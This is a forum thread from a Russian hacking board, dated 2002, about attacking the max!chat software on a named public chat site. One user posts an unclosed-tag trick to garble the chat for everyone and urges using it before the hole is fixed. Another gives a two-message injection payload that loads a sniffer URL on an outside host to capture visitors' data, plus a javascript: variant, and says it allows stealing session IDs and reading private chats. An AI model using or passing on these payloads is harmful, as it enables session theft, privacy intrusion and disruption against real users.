Чаты Взломан max!chat (на примере gaychat.ru)

Discussion in 'Веб-уязвимости' started by kill-er, 17 Oct 2002.

  1. kill-er

    kill-er New Member

    Joined:
    17 Oct 2002
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    www.gaychat.ru - заходите. регистрируетесь. входите в чат. и пишите что то типа

    текст <font face=webdings> <font/><font/><font/><font/>

    *<font/> - столько сколько хватит строки ввода.

    эффект получается за счет не закрытого тэга фонта.. это надо видеть[​IMG]) оччень эффектно![​IMG]) когда все последующие сообщения после вашего идут не слова и картинки[​IMG]) стоит повторить несколько раз подряд для достижения лучшего результата. и немного изменяйте фразу а то софт не пропускает одинаковые сообщения несколько раз подряд.

    еще так же можно хделать тэги курсива и жирного шрифта.
    в других чатах не пробовал... можно получится.

    Юзайте пока дырку не прикрыли[​IMG])
     
  2. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Нда... любопытный чатик....
    Но ломается он намного круче чем просто глюки с фонтом..
    Например его можно сниферить:
    В два этапа , сначала посылем такое сообщение:
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">&lt;a href=&quot;http://dsds.ds/?&quot;a=`&gt;input fdfs&lt;/a&gt;[/QUOTE]<span id='postcolor'>
    И сразу же за ним еще одно:
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">` fe fd style = `background :url(http://www.hackzone.ru/cgi-bin/sniff.cgi?Algol)` [/QUOTE]<span id='postcolor'>
    (сообщения нужно посылать именно такие, &quot;лишние&quot; пробелы не удалять &#33[​IMG]

    Результат как говорится на лице ....
    (вернее в логе хакзоны, а для тех кто в танке: лог хак зоны http://www.hackzone.ru/files/snifflog.txt)
     
  3. kill-er

    kill-er New Member

    Joined:
    17 Oct 2002
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    гмм... оригинално!:))
    ну если как бэк можно вставить любой? урл, тооо... получается можно и скрипт какой то вставить или нет?
    оччень очень интересная идЭя... :)
     
  4. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    ты видимо не читал мои статьи, поэтому тебе кажется это оригинальным...
    На самом деле это старая технология , приспособленная к особенностям данного чата.
    А насчет скриптов - как ты правильно понял если можно вставить снифер, то можно вставить и скрипт, и узнать номера сессий, и кикнуть , и залезть в приват.. В общем по полной программе....
    Для вставки скрипта вместо второго сообщения можно послать например :
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">` fe fd style = `background :url(javascript:alert())` [/QUOTE]<span id='postcolor'>

    Только советую эксперементирвать в привате , дабы не шокировать публику ...
     
  5. kill-er

    kill-er New Member

    Joined:
    17 Oct 2002
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    а можно через скрипт менять размер шрифта? иль картинку вставлять?
     
  6. Guest

    Guest Guest

    Reputations:
    0
    ПРИВЕТ ВСЕМ